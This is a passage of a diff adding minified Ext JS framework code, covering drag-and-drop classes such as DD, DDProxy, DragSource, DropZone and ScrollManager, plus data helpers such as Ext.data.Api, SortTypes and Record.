k.y); + var c = j.getDragEl(); + var e = new Ext.lib.Region(h.y, h.x + c.offsetWidth, h.y + c.offsetHeight, h.x); + var i = e.intersect(g); + if (i) { + b.overlap = i; + return(d) ? true : b.cursorIsOver + } else { + return false + } + }, _onUnload:function (c, b) { + a.removeListener(document, "mouseup", this.handleMouseUp, this); + a.removeListener(document, "mousemove", this.handleMouseMove, this); + a.removeListener(window, "resize", this._onResize, this); + Ext.dd.DragDropMgr.unregAll() + }, unregAll:function () { + if (this.dragCurrent) { + this.stopDrag(); + this.dragCurrent = null + } + this._execOnAll("unreg", []); + for (var b in this.elementCache) { + delete this.elementCache[b] + } + this.elementCache = {}; + this.ids = {} + }, elementCache:{}, getElWrapper:function (c) { + var b = this.elementCache[c]; + if (!b || !b.el) { + b = this.elementCache[c] = new this.ElementWrapper(Ext.getDom(c)) + } + return b + }, getElement:function (b) { + return Ext.getDom(b) + }, getCss:function (c) { + var b = Ext.getDom(c); + return(b) ? b.style : null + }, ElementWrapper:function (b) { + this.el = b || null; + this.id = this.el && b.id; + this.css = this.el && b.style + }, getPosX:function (b) { + return Ext.lib.Dom.getX(b) + }, getPosY:function (b) { + return Ext.lib.Dom.getY(b) + }, swapNode:function (d, b) { + if (d.swapNode) { + d.swapNode(b) + } else { + var e = b.parentNode; + var c = b.nextSibling; + if (c == d) { + e.insertBefore(d, b) + } else { + if (b == d.nextSibling) { + e.insertBefore(b, d) + } else { + d.parentNode.replaceChild(b, d); + e.insertBefore(d, c) + } + } + } + }, getScroll:function () { + var d, b, e = document.documentElement, c = document.body; + if (e && (e.scrollTop || e.scrollLeft)) { + d = e.scrollTop; + b = e.scrollLeft + } else { + if (c) { + d = c.scrollTop; + b = c.scrollLeft + } else { + } + } + return{top:d, left:b} + }, getStyle:function (c, b) { + return Ext.fly(c).getStyle(b) + }, getScrollTop:function () { + return this.getScroll().top + }, getScrollLeft:function () { + return this.getScroll().left + }, moveToEl:function (b, d) { + var c = Ext.lib.Dom.getXY(d); + Ext.lib.Dom.setXY(b, c) + }, numericSort:function (d, c) { + return(d - c) + }, _timeoutCount:0, _addListeners:function () { + var b = Ext.dd.DDM; + if (Ext.lib.Event && document) { + b._onLoad() + } else { + if (b._timeoutCount > 2000) { + } else { + setTimeout(b._addListeners, 10); + if (document && document.body) { + b._timeoutCount += 1 + } + } + } + }, handleWasClicked:function (b, d) { + if (this.isHandle(d, b.id)) { + return true + } else { + var c = b.parentNode; + while (c) { + if (this.isHandle(d, c.id)) { + return true + } else { + c = c.parentNode + } + } + } + return false + }} + }(); + Ext.dd.DDM = Ext.dd.DragDropMgr; + Ext.dd.DDM._addListeners() +} +Ext.dd.DD = function (c, a, b) { + if (c) { + this.init(c, a, b) + } +}; +Ext.extend(Ext.dd.DD, Ext.dd.DragDrop, {scroll:true, autoOffset:function (c, b) { + var a = c - this.startPageX; + var d = b - this.startPageY; + this.setDelta(a, d) +}, setDelta:function (b, a) { + this.deltaX = b; + this.deltaY = a +}, setDragElPos:function (c, b) { + var a = this.getDragEl(); + this.alignElWithMouse(a, c, b) +}, alignElWithMouse:function (c, h, g) { + var e = this.getTargetCoord(h, g); + var b = c.dom ? c : Ext.fly(c, "_dd"); + if (!this.deltaSetXY) { + var i = [e.x, e.y]; + b.setXY(i); + var d = b.getLeft(true); + var a = b.getTop(true); + this.deltaSetXY = [d - e.x, a - e.y] + } else { + b.setLeftTop(e.x + this.deltaSetXY[0], e.y + this.deltaSetXY[1]) + } + this.cachePosition(e.x, e.y); + this.autoScroll(e.x, e.y, c.offsetHeight, c.offsetWidth); + return e +}, cachePosition:function (b, a) { + if (b) { + this.lastPageX = b; + this.lastPageY = a + } else { + var c = Ext.lib.Dom.getXY(this.getEl()); + this.lastPageX = c[0]; + this.lastPageY = c[1] + } +}, autoScroll:function (l, k, e, m) { + if (this.scroll) { + var n = Ext.lib.Dom.getViewHeight(); + var b = Ext.lib.Dom.getViewWidth(); + var p = this.DDM.getScrollTop(); + var d = this.DDM.getScrollLeft(); + var j = e + k; + var o = m + l; + var i = (n + p - k - this.deltaY); + var g = (b + d - l - this.deltaX); + var c = 40; + var a = (document.all) ? 80 : 30; + if (j > n && i < c) { + window.scrollTo(d, p + a) + } + if (k < p && p > 0 && k - p < c) { + window.scrollTo(d, p - a) + } + if (o > b && g < c) { + window.scrollTo(d + a, p) + } + if (l < d && d > 0 && l - d < c) { + window.scrollTo(d - a, p) + } + } +}, getTargetCoord:function (c, b) { + var a = c - this.deltaX; + var d = b - this.deltaY; + if (this.constrainX) { + if (a < this.minX) { + a = this.minX + } + if (a > this.maxX) { + a = this.maxX + } + } + if (this.constrainY) { + if (d < this.minY) { + d = this.minY + } + if (d > this.maxY) { + d = this.maxY + } + } + a = this.getTick(a, this.xTicks); + d = this.getTick(d, this.yTicks); + return{x:a, y:d} +}, applyConfig:function () { + Ext.dd.DD.superclass.applyConfig.call(this); + this.scroll = (this.config.scroll !== false) +}, b4MouseDown:function (a) { + this.autoOffset(a.getPageX(), a.getPageY()) +}, b4Drag:function (a) { + this.setDragElPos(a.getPageX(), a.getPageY()) +}, toString:function () { + return("DD " + this.id) +}}); +Ext.dd.DDProxy = function (c, a, b) { + if (c) { + this.init(c, a, b); + this.initFrame() + } +}; +Ext.dd.DDProxy.dragElId = "ygddfdiv"; +Ext.extend(Ext.dd.DDProxy, Ext.dd.DD, {resizeFrame:true, centerFrame:false, createFrame:function () { + var b = this; + var a = document.body; + if (!a || !a.firstChild) { + setTimeout(function () { + b.createFrame() + }, 50); + return + } + var d = this.getDragEl(); + if (!d) { + d = document.createElement("div"); + d.id = this.dragElId; + var c = d.style; + c.position = "absolute"; + c.visibility = "hidden"; + c.cursor = "move"; + c.border = "2px solid #aaa"; + c.zIndex = 999; + a.insertBefore(d, a.firstChild) + } +}, initFrame:function () { + this.createFrame() +}, applyConfig:function () { + Ext.dd.DDProxy.superclass.applyConfig.call(this); + this.resizeFrame = (this.config.resizeFrame !== false); + this.centerFrame = (this.config.centerFrame); + this.setDragElId(this.config.dragElId || Ext.dd.DDProxy.dragElId) +}, showFrame:function (e, d) { + var c = this.getEl(); + var a = this.getDragEl(); + var b = a.style; + this._resizeProxy(); + if (this.centerFrame) { + this.setDelta(Math.round(parseInt(b.width, 10) / 2), Math.round(parseInt(b.height, 10) / 2)) + } + this.setDragElPos(e, d); + Ext.fly(a).show() +}, _resizeProxy:function () { + if (this.resizeFrame) { + var a = this.getEl(); + Ext.fly(this.getDragEl()).setSize(a.offsetWidth, a.offsetHeight) + } +}, b4MouseDown:function (b) { + var a = b.getPageX(); + var c = b.getPageY(); + this.autoOffset(a, c); + this.setDragElPos(a, c) +}, b4StartDrag:function (a, b) { + this.showFrame(a, b) +}, b4EndDrag:function (a) { + Ext.fly(this.getDragEl()).hide() +}, endDrag:function (c) { + var b = this.getEl(); + var a = this.getDragEl(); + a.style.visibility = ""; + this.beforeMove(); + b.style.visibility = "hidden"; + Ext.dd.DDM.moveToEl(b, a); + a.style.visibility = "hidden"; + b.style.visibility = ""; + this.afterDrag() +}, beforeMove:function () { +}, afterDrag:function () { +}, toString:function () { + return("DDProxy " + this.id) +}}); +Ext.dd.DDTarget = function (c, a, b) { + if (c) { + this.initTarget(c, a, b) + } +}; +Ext.extend(Ext.dd.DDTarget, Ext.dd.DragDrop, {getDragEl:Ext.emptyFn, isValidHandleChild:Ext.emptyFn, startDrag:Ext.emptyFn, endDrag:Ext.emptyFn, onDrag:Ext.emptyFn, onDragDrop:Ext.emptyFn, onDragEnter:Ext.emptyFn, onDragOut:Ext.emptyFn, onDragOver:Ext.emptyFn, onInvalidDrop:Ext.emptyFn, onMouseDown:Ext.emptyFn, onMouseUp:Ext.emptyFn, setXConstraint:Ext.emptyFn, setYConstraint:Ext.emptyFn, resetConstraints:Ext.emptyFn, clearConstraints:Ext.emptyFn, clearTicks:Ext.emptyFn, setInitPosition:Ext.emptyFn, setDragElId:Ext.emptyFn, setHandleElId:Ext.emptyFn, setOuterHandleElId:Ext.emptyFn, addInvalidHandleClass:Ext.emptyFn, addInvalidHandleId:Ext.emptyFn, addInvalidHandleType:Ext.emptyFn, removeInvalidHandleClass:Ext.emptyFn, removeInvalidHandleId:Ext.emptyFn, removeInvalidHandleType:Ext.emptyFn, toString:function () { + return("DDTarget " + this.id) +}}); +Ext.dd.DragTracker = Ext.extend(Ext.util.Observable, {active:false, tolerance:5, autoStart:false, constructor:function (a) { + Ext.apply(this, a); + this.addEvents("mousedown", "mouseup", "mousemove", "dragstart", "dragend", "drag"); + this.dragRegion = new Ext.lib.Region(0, 0, 0, 0); + if (this.el) { + this.initEl(this.el) + } + Ext.dd.DragTracker.superclass.constructor.call(this, a) +}, initEl:function (a) { + this.el = Ext.get(a); + a.on("mousedown", this.onMouseDown, this, this.delegate ? {delegate:this.delegate} : undefined) +}, destroy:function () { + this.el.un("mousedown", this.onMouseDown, this); + delete this.el +}, onMouseDown:function (b, a) { + if (this.fireEvent("mousedown", this, b) !== false && this.onBeforeStart(b) !== false) { + this.startXY = this.lastXY = b.getXY(); + this.dragTarget = this.delegate ? a : this.el.dom; + if (this.preventDefault !== false) { + b.preventDefault() + } + Ext.getDoc().on({scope:this, mouseup:this.onMouseUp, mousemove:this.onMouseMove, selectstart:this.stopSelect}); + if (this.autoStart) { + this.timer = this.triggerStart.defer(this.autoStart === true ? 1000 : this.autoStart, this, [b]) + } + } +}, onMouseMove:function (d, c) { + if (this.active && Ext.isIE && !d.browserEvent.button) { + d.preventDefault(); + this.onMouseUp(d); + return + } + d.preventDefault(); + var b = d.getXY(), a = this.startXY; + this.lastXY = b; + if (!this.active) { + if (Math.abs(a[0] - b[0]) > this.tolerance || Math.abs(a[1] - b[1]) > this.tolerance) { + this.triggerStart(d) + } else { + return + } + } + this.fireEvent("mousemove", this, d); + this.onDrag(d); + this.fireEvent("drag", this, d) +}, onMouseUp:function (c) { + var b = Ext.getDoc(), a = this.active; + b.un("mousemove", this.onMouseMove, this); + b.un("mouseup", this.onMouseUp, this); + b.un("selectstart", this.stopSelect, this); + c.preventDefault(); + this.clearStart(); + this.active = false; + delete this.elRegion; + this.fireEvent("mouseup", this, c); + if (a) { + this.onEnd(c); + this.fireEvent("dragend", this, c) + } +}, triggerStart:function (a) { + this.clearStart(); + this.active = true; + this.onStart(a); + this.fireEvent("dragstart", this, a) +}, clearStart:function () { + if (this.timer) { + clearTimeout(this.timer); + delete this.timer + } +}, stopSelect:function (a) { + a.stopEvent(); + return false +}, onBeforeStart:function (a) { +}, onStart:function (a) { +}, onDrag:function (a) { +}, onEnd:function (a) { +}, getDragTarget:function () { + return this.dragTarget +}, getDragCt:function () { + return this.el +}, getXY:function (a) { + return a ? this.constrainModes[a].call(this, this.lastXY) : this.lastXY +}, getOffset:function (c) { + var b = this.getXY(c), a = this.startXY; + return[a[0] - b[0], a[1] - b[1]] +}, constrainModes:{point:function (b) { + if (!this.elRegion) { + this.elRegion = this.getDragCt().getRegion() + } + var a = this.dragRegion; + a.left = b[0]; + a.top = b[1]; + a.right = b[0]; + a.bottom = b[1]; + a.constrainTo(this.elRegion); + return[a.left, a.top] +}}}); +Ext.dd.ScrollManager = function () { + var c = Ext.dd.DragDropMgr; + var e = {}; + var b = null; + var i = {}; + var h = function (l) { + b = null; + a() + }; + var j = function () { + if (c.dragCurrent) { + c.refreshCache(c.dragCurrent.groups) + } + }; + var d = function () { + if (c.dragCurrent) { + var l = Ext.dd.ScrollManager; + var m = i.el.ddScrollConfig ? i.el.ddScrollConfig.increment : l.increment; + if (!l.animate) { + if (i.el.scroll(i.dir, m)) { + j() + } + } else { + i.el.scroll(i.dir, m, true, l.animDuration, j) + } + } + }; + var a = function () { + if (i.id) { + clearInterval(i.id) + } + i.id = 0; + i.el = null; + i.dir = "" + }; + var g = function (m, l) { + a(); + i.el = m; + i.dir = l; + var o = m.ddScrollConfig ? m.ddScrollConfig.ddGroup : undefined, n = (m.ddScrollConfig && m.ddScrollConfig.frequency) ? m.ddScrollConfig.frequency : Ext.dd.ScrollManager.frequency; + if (o === undefined || c.dragCurrent.ddGroup == o) { + i.id = setInterval(d, n) + } + }; + var k = function (o, q) { + if (q || !c.dragCurrent) { + return + } + var s = Ext.dd.ScrollManager; + if (!b || b != c.dragCurrent) { + b = c.dragCurrent; + s.refreshCache() + } + var t = Ext.lib.Event.getXY(o); + var u = new Ext.lib.Point(t[0], t[1]); + for (var m in e) { + var n = e[m], l = n._region; + var p = n.ddScrollConfig ? n.ddScrollConfig : s; + if (l && l.contains(u) && n.isScrollable()) { + if (l.bottom - u.y <= p.vthresh) { + if (i.el != n) { + g(n, "down") + } + return + } else { + if (l.right - u.x <= p.hthresh) { + if (i.el != n) { + g(n, "left") + } + return + } else { + if (u.y - l.top <= p.vthresh) { + if (i.el != n) { + g(n, "up") + } + return + } else { + if (u.x - l.left <= p.hthresh) { + if (i.el != n) { + g(n, "right") + } + return + } + } + } + } + } + } + a() + }; + c.fireEvents = c.fireEvents.createSequence(k, c); + c.stopDrag = c.stopDrag.createSequence(h, c); + return{register:function (n) { + if (Ext.isArray(n)) { + for (var m = 0, l = n.length; m < l; m++) { + this.register(n[m]) + } + } else { + n = Ext.get(n); + e[n.id] = n + } + }, unregister:function (n) { + if (Ext.isArray(n)) { + for (var m = 0, l = n.length; m < l; m++) { + this.unregister(n[m]) + } + } else { + n = Ext.get(n); + delete e[n.id] + } + }, vthresh:25, hthresh:25, increment:100, frequency:500, animate:true, animDuration:0.4, ddGroup:undefined, refreshCache:function () { + for (var l in e) { + if (typeof e[l] == "object") { + e[l]._region = e[l].getRegion() + } + } + }} +}(); +Ext.dd.Registry = function () { + var d = {}; + var b = {}; + var a = 0; + var c = function (g, e) { + if (typeof g == "string") { + return g + } + var h = g.id; + if (!h && e !== false) { + h = "extdd-" + (++a); + g.id = h + } + return h + }; + return{register:function (j, k) { + k = k || {}; + if (typeof j == "string") { + j = document.getElementById(j) + } + k.ddel = j; + d[c(j)] = k; + if (k.isHandle !== false) { + b[k.ddel.id] = k + } + if (k.handles) { + var h = k.handles; + for (var g = 0, e = h.length; g < e; g++) { + b[c(h[g])] = k + } + } + }, unregister:function (j) { + var l = c(j, false); + var k = d[l]; + if (k) { + delete d[l]; + if (k.handles) { + var h = k.handles; + for (var g = 0, e = h.length; g < e; g++) { + delete b[c(h[g], false)] + } + } + } + }, getHandle:function (e) { + if (typeof e != "string") { + e = e.id + } + return b[e] + }, getHandleFromEvent:function (h) { + var g = Ext.lib.Event.getTarget(h); + return g ? b[g.id] : null + }, getTarget:function (e) { + if (typeof e != "string") { + e = e.id + } + return d[e] + }, getTargetFromEvent:function (h) { + var g = Ext.lib.Event.getTarget(h); + return g ? d[g.id] || b[g.id] : null + }} +}(); +Ext.dd.StatusProxy = function (a) { + Ext.apply(this, a); + this.id = this.id || Ext.id(); + this.el = new Ext.Layer({dh:{id:this.id, tag:"div", cls:"x-dd-drag-proxy " + this.dropNotAllowed, children:[ + {tag:"div", cls:"x-dd-drop-icon"}, + {tag:"div", cls:"x-dd-drag-ghost"} + ]}, shadow:!a || a.shadow !== false}); + this.ghost = Ext.get(this.el.dom.childNodes[1]); + this.dropStatus = this.dropNotAllowed +}; +Ext.dd.StatusProxy.prototype = {dropAllowed:"x-dd-drop-ok", dropNotAllowed:"x-dd-drop-nodrop", setStatus:function (a) { + a = a || this.dropNotAllowed; + if (this.dropStatus != a) { + this.el.replaceClass(this.dropStatus, a); + this.dropStatus = a + } +}, reset:function (a) { + this.el.dom.className = "x-dd-drag-proxy " + this.dropNotAllowed; + this.dropStatus = this.dropNotAllowed; + if (a) { + this.ghost.update("") + } +}, update:function (a) { + if (typeof a == "string") { + this.ghost.update(a) + } else { + this.ghost.update(""); + a.style.margin = "0"; + this.ghost.dom.appendChild(a) + } + var b = this.ghost.dom.firstChild; + if (b) { + Ext.fly(b).setStyle("float", "none") + } +}, getEl:function () { + return this.el +}, getGhost:function () { + return this.ghost +}, hide:function (a) { + this.el.hide(); + if (a) { + this.reset(true) + } +}, stop:function () { + if (this.anim && this.anim.isAnimated && this.anim.isAnimated()) { + this.anim.stop() + } +}, show:function () { + this.el.show() +}, sync:function () { + this.el.sync() +}, repair:function (b, c, a) { + this.callback = c; + this.scope = a; + if (b && this.animRepair !== false) { + this.el.addClass("x-dd-drag-repair"); + this.el.hideUnders(true); + this.anim = this.el.shift({duration:this.repairDuration || 0.5, easing:"easeOut", xy:b, stopFx:true, callback:this.afterRepair, scope:this}) + } else { + this.afterRepair() + } +}, afterRepair:function () { + this.hide(true); + if (typeof this.callback == "function") { + this.callback.call(this.scope || this) + } + this.callback = null; + this.scope = null +}, destroy:function () { + Ext.destroy(this.ghost, this.el) +}}; +Ext.dd.DragSource = function (b, a) { + this.el = Ext.get(b); + if (!this.dragData) { + this.dragData = {} + } + Ext.apply(this, a); + if (!this.proxy) { + this.proxy = new Ext.dd.StatusProxy() + } + Ext.dd.DragSource.superclass.constructor.call(this, this.el.dom, this.ddGroup || this.group, {dragElId:this.proxy.id, resizeFrame:false, isTarget:false, scroll:this.scroll === true}); + this.dragging = false +}; +Ext.extend(Ext.dd.DragSource, Ext.dd.DDProxy, {dropAllowed:"x-dd-drop-ok", dropNotAllowed:"x-dd-drop-nodrop", getDragData:function (a) { + return this.dragData +}, onDragEnter:function (c, d) { + var b = Ext.dd.DragDropMgr.getDDById(d); + this.cachedTarget = b; + if (this.beforeDragEnter(b, c, d) !== false) { + if (b.isNotifyTarget) { + var a = b.notifyEnter(this, c, this.dragData); + this.proxy.setStatus(a) + } else { + this.proxy.setStatus(this.dropAllowed) + } + if (this.afterDragEnter) { + this.afterDragEnter(b, c, d) + } + } +}, beforeDragEnter:function (b, a, c) { + return true +}, alignElWithMouse:function () { + Ext.dd.DragSource.superclass.alignElWithMouse.apply(this, arguments); + this.proxy.sync() +}, onDragOver:function (c, d) { + var b = this.cachedTarget || Ext.dd.DragDropMgr.getDDById(d); + if (this.beforeDragOver(b, c, d) !== false) { + if (b.isNotifyTarget) { + var a = b.notifyOver(this, c, this.dragData); + this.proxy.setStatus(a) + } + if (this.afterDragOver) { + this.afterDragOver(b, c, d) + } + } +}, beforeDragOver:function (b, a, c) { + return true +}, onDragOut:function (b, c) { + var a = this.cachedTarget || Ext.dd.DragDropMgr.getDDById(c); + if (this.beforeDragOut(a, b, c) !== false) { + if (a.isNotifyTarget) { + a.notifyOut(this, b, this.dragData) + } + this.proxy.reset(); + if (this.afterDragOut) { + this.afterDragOut(a, b, c) + } + } + this.cachedTarget = null +}, beforeDragOut:function (b, a, c) { + return true +}, onDragDrop:function (b, c) { + var a = this.cachedTarget || Ext.dd.DragDropMgr.getDDById(c); + if (this.beforeDragDrop(a, b, c) !== false) { + if (a.isNotifyTarget) { + if (a.notifyDrop(this, b, this.dragData)) { + this.onValidDrop(a, b, c) + } else { + this.onInvalidDrop(a, b, c) + } + } else { + this.onValidDrop(a, b, c) + } + if (this.afterDragDrop) { + this.afterDragDrop(a, b, c) + } + } + delete this.cachedTarget +}, beforeDragDrop:function (b, a, c) { + return true +}, onValidDrop:function (b, a, c) { + this.hideProxy(); + if (this.afterValidDrop) { + this.afterValidDrop(b, a, c) + } +}, getRepairXY:function (b, a) { + return this.el.getXY() +}, onInvalidDrop:function (b, a, c) { + this.beforeInvalidDrop(b, a, c); + if (this.cachedTarget) { + if (this.cachedTarget.isNotifyTarget) { + this.cachedTarget.notifyOut(this, a, this.dragData) + } + this.cacheTarget = null + } + this.proxy.repair(this.getRepairXY(a, this.dragData), this.afterRepair, this); + if (this.afterInvalidDrop) { + this.afterInvalidDrop(a, c) + } +}, afterRepair:function () { + if (Ext.enableFx) { + this.el.highlight(this.hlColor || "c3daf9") + } + this.dragging = false +}, beforeInvalidDrop:function (b, a, c) { + return true +}, handleMouseDown:function (b) { + if (this.dragging) { + return + } + var a = this.getDragData(b); + if (a && this.onBeforeDrag(a, b) !== false) { + this.dragData = a; + this.proxy.stop(); + Ext.dd.DragSource.superclass.handleMouseDown.apply(this, arguments) + } +}, onBeforeDrag:function (a, b) { + return true +}, onStartDrag:Ext.emptyFn, startDrag:function (a, b) { + this.proxy.reset(); + this.dragging = true; + this.proxy.update(""); + this.onInitDrag(a, b); + this.proxy.show() +}, onInitDrag:function (a, c) { + var b = this.el.dom.cloneNode(true); + b.id = Ext.id(); + this.proxy.update(b); + this.onStartDrag(a, c); + return true +}, getProxy:function () { + return this.proxy +}, hideProxy:function () { + this.proxy.hide(); + this.proxy.reset(true); + this.dragging = false +}, triggerCacheRefresh:function () { + Ext.dd.DDM.refreshCache(this.groups) +}, b4EndDrag:function (a) { +}, endDrag:function (a) { + this.onEndDrag(this.dragData, a) +}, onEndDrag:function (a, b) { +}, autoOffset:function (a, b) { + this.setDelta(-12, -20) +}, destroy:function () { + Ext.dd.DragSource.superclass.destroy.call(this); + Ext.destroy(this.proxy) +}}); +Ext.dd.DropTarget = Ext.extend(Ext.dd.DDTarget, {constructor:function (b, a) { + this.el = Ext.get(b); + Ext.apply(this, a); + if (this.containerScroll) { + Ext.dd.ScrollManager.register(this.el) + } + Ext.dd.DropTarget.superclass.constructor.call(this, this.el.dom, this.ddGroup || this.group, {isTarget:true}) +}, dropAllowed:"x-dd-drop-ok", dropNotAllowed:"x-dd-drop-nodrop", isTarget:true, isNotifyTarget:true, notifyEnter:function (a, c, b) { + if (this.overClass) { + this.el.addClass(this.overClass) + } + return this.dropAllowed +}, notifyOver:function (a, c, b) { + return this.dropAllowed +}, notifyOut:function (a, c, b) { + if (this.overClass) { + this.el.removeClass(this.overClass) + } +}, notifyDrop:function (a, c, b) { + return false +}, destroy:function () { + Ext.dd.DropTarget.superclass.destroy.call(this); + if (this.containerScroll) { + Ext.dd.ScrollManager.unregister(this.el) + } +}}); +Ext.dd.DragZone = Ext.extend(Ext.dd.DragSource, {constructor:function (b, a) { + Ext.dd.DragZone.superclass.constructor.call(this, b, a); + if (this.containerScroll) { + Ext.dd.ScrollManager.register(this.el) + } +}, getDragData:function (a) { + return Ext.dd.Registry.getHandleFromEvent(a) +}, onInitDrag:function (a, b) { + this.proxy.update(this.dragData.ddel.cloneNode(true)); + this.onStartDrag(a, b); + return true +}, afterRepair:function () { + if (Ext.enableFx) { + Ext.Element.fly(this.dragData.ddel).highlight(this.hlColor || "c3daf9") + } + this.dragging = false +}, getRepairXY:function (a) { + return Ext.Element.fly(this.dragData.ddel).getXY() +}, destroy:function () { + Ext.dd.DragZone.superclass.destroy.call(this); + if (this.containerScroll) { + Ext.dd.ScrollManager.unregister(this.el) + } +}}); +Ext.dd.DropZone = function (b, a) { + Ext.dd.DropZone.superclass.constructor.call(this, b, a) +}; +Ext.extend(Ext.dd.DropZone, Ext.dd.DropTarget, {getTargetFromEvent:function (a) { + return Ext.dd.Registry.getTargetFromEvent(a) +}, onNodeEnter:function (d, a, c, b) { +}, onNodeOver:function (d, a, c, b) { + return this.dropAllowed +}, onNodeOut:function (d, a, c, b) { +}, onNodeDrop:function (d, a, c, b) { + return false +}, onContainerOver:function (a, c, b) { + return this.dropNotAllowed +}, onContainerDrop:function (a, c, b) { + return false +}, notifyEnter:function (a, c, b) { + return this.dropNotAllowed +}, notifyOver:function (a, c, b) { + var d = this.getTargetFromEvent(c); + if (!d) { + if (this.lastOverNode) { + this.onNodeOut(this.lastOverNode, a, c, b); + this.lastOverNode = null + } + return this.onContainerOver(a, c, b) + } + if (this.lastOverNode != d) { + if (this.lastOverNode) { + this.onNodeOut(this.lastOverNode, a, c, b) + } + this.onNodeEnter(d, a, c, b); + this.lastOverNode = d + } + return this.onNodeOver(d, a, c, b) +}, notifyOut:function (a, c, b) { + if (this.lastOverNode) { + this.onNodeOut(this.lastOverNode, a, c, b); + this.lastOverNode = null + } +}, notifyDrop:function (a, c, b) { + if (this.lastOverNode) { + this.onNodeOut(this.lastOverNode, a, c, b); + this.lastOverNode = null + } + var d = this.getTargetFromEvent(c); + return d ? this.onNodeDrop(d, a, c, b) : this.onContainerDrop(a, c, b) +}, triggerCacheRefresh:function () { + Ext.dd.DDM.refreshCache(this.groups) +}}); +Ext.Element.addMethods({initDD:function (c, b, d) { + var a = new Ext.dd.DD(Ext.id(this.dom), c, b); + return Ext.apply(a, d) +}, initDDProxy:function (c, b, d) { + var a = new Ext.dd.DDProxy(Ext.id(this.dom), c, b); + return Ext.apply(a, d) +}, initDDTarget:function (c, b, d) { + var a = new Ext.dd.DDTarget(Ext.id(this.dom), c, b); + return Ext.apply(a, d) +}}); +Ext.data.Api = (function () { + var a = {}; + return{actions:{create:"create", read:"read", update:"update", destroy:"destroy"}, restActions:{create:"POST", read:"GET", update:"PUT", destroy:"DELETE"}, isAction:function (b) { + return(Ext.data.Api.actions[b]) ? true : false + }, getVerb:function (b) { + if (a[b]) { + return a[b] + } + for (var c in this.actions) { + if (this.actions[c] === b) { + a[b] = c; + break + } + } + return(a[b] !== undefined) ? a[b] : null + }, isValid:function (b) { + var e = []; + var d = this.actions; + for (var c in b) { + if (!(c in d)) { + e.push(c) + } + } + return(!e.length) ? true : e + }, hasUniqueUrl:function (c, g) { + var b = (c.api[g]) ? c.api[g].url : null; + var e = true; + for (var d in c.api) { + if ((e = (d === g) ? true : (c.api[d].url != b) ? true : false) === false) { + break + } + } + return e + }, prepare:function (b) { + if (!b.api) { + b.api = {} + } + for (var d in this.actions) { + var c = this.actions[d]; + b.api[c] = b.api[c] || b.url || b.directFn; + if (typeof(b.api[c]) == "string") { + b.api[c] = {url:b.api[c], method:(b.restful === true) ? Ext.data.Api.restActions[c] : undefined} + } + } + }, restify:function (b) { + b.restful = true; + for (var c in this.restActions) { + b.api[this.actions[c]].method || (b.api[this.actions[c]].method = this.restActions[c]) + } + b.onWrite = b.onWrite.createInterceptor(function (i, j, g, e) { + var d = j.reader; + var h = new Ext.data.Response({action:i, raw:g}); + switch (g.status) { + case 200: + return true; + break; + case 201: + if (Ext.isEmpty(h.raw.responseText)) { + h.success = true + } else { + return true + } + break; + case 204: + h.success = true; + h.data = null; + break; + default: + return true; + break + } + if (h.success === true) { + this.fireEvent("write", this, i, h.data, h, e, j.request.arg) + } else { + this.fireEvent("exception", this, "remote", i, j, h, e) + } + j.request.callback.call(j.request.scope, h.data, h, h.success); + return false + }, b) + }} +})(); +Ext.data.Response = function (b, a) { + Ext.apply(this, b, {raw:a}) +}; +Ext.data.Response.prototype = {message:null, success:false, status:null, root:null, raw:null, getMessage:function () { + return this.message +}, getSuccess:function () { + return this.success +}, getStatus:function () { + return this.status +}, getRoot:function () { + return this.root +}, getRawResponse:function () { + return this.raw +}}; +Ext.data.Api.Error = Ext.extend(Ext.Error, {constructor:function (b, a) { + this.arg = a; + Ext.Error.call(this, b) +}, name:"Ext.data.Api"}); +Ext.apply(Ext.data.Api.Error.prototype, {lang:{"action-url-undefined":"No fallback url defined for this action. When defining a DataProxy api, please be sure to define an url for each CRUD action in Ext.data.Api.actions or define a default url in addition to your api-configuration.", invalid:"received an invalid API-configuration. Please ensure your proxy API-configuration contains only the actions defined in Ext.data.Api.actions", "invalid-url":"Invalid url. Please review your proxy configuration.", execute:'Attempted to execute an unknown action. Valid API actions are defined in Ext.data.Api.actions"'}}); +Ext.data.SortTypes = {none:function (a) { + return a +}, stripTagsRE:/<\/?[^>]+>/gi, asText:function (a) { + return String(a).replace(this.stripTagsRE, "") +}, asUCText:function (a) { + return String(a).toUpperCase().replace(this.stripTagsRE, "") +}, asUCString:function (a) { + return String(a).toUpperCase() +}, asDate:function (a) { + if (!a) { + return 0 + } + if (Ext.isDate(a)) { + return a.getTime() + } + return Date.parse(String(a)) +}, asFloat:function (a) { + var b = parseFloat(String(a).replace(/,/g, "")); + return isNaN(b) ? 0 : b +}, asInt:function (a) { + var b = parseInt(String(a).replace(/,/g, ""), 10); + return isNaN(b) ? 0 : b +}}; +Ext.data.Record = function (a, b) { + this.id = (b || b === 0) ? b : Ext.data.Record.id(this); + this.data = a || {} +}; +Ext.data.Record.create = function (e) { + var c = Ext.extend(Ext.data.Record, {}); + var d = c.prototype; + d.fields = new Ext.util.MixedCollection(false, function (g) { + return g.name + }); + for (var b = 0, a = e.length; b < a; b++) { + d.fields.add(new Ext.data.Field(e[b])) + } + c.getField = function (g) { + return d.fields.get(g) + }; + return c +}; +Ext.data.Record.PREFIX = "ext-record"; +Ext.data.Record.AUTO_ID = 1; +Ext.data.Record.EDIT = "edit"; +Ext.data.Record.REJECT = "reject"; +Ext.data.Record.COMMIT = "commit"; +Ext.data.Record.id = function (a) { + a.phantom = true; + return[Ext.data.Record.PREFIX, "-", Ext.data.Record.AUTO_ID++].join("") +}; +Ext.data.Record.prototype = {dirty:false, editing:false, error:null, modified:null, phantom:false, join:function (a) { + this.store = a +}, set:function (a, c) { + var b = Ext.isPrimitive(c) ? String : Ext.encode; + if (b(this.data[a]) == b(c)) { + return + } + this.dirty = true; + if (!this.modified) { + this.modified = {} + } + if (this.modified[a] === undefined) { + this.modified[a] = this.data[a] + } + this.data[a] = c; + if (!this.editing) { + this.afterEdit() + } +}, afterEdit:function () { + if (this.store != undefined && typeof this.store.afterEdit == "function") { + this.store.afterEdit(this) + } +}, afterReject:function () { + if (this.store) { + this.store.afterReject(this) + } +}, afterCommit:function () { + if (this.store) { + this.store.afterCommit(this) + } +}, get:function (a) { + return this.data[a] +}, beginEdit:function () { + this.editing = true; + this.modified = this.modified || {} +}, cancelEdit:function () { + this.editing = false; + delete this.modified +}, endEdit:function () { + this.editing = false; + if (this.dirty) { + this.afterEdit() + } +}, reject:function (b) { + var a = this.modified; + for (var c in a) { + if (typeof a[c] != "function") { + this.data[c] = a[c] + } + } + this.dirty = false; + delete this.modified; + this.editing = false; + if (b !== true) { + 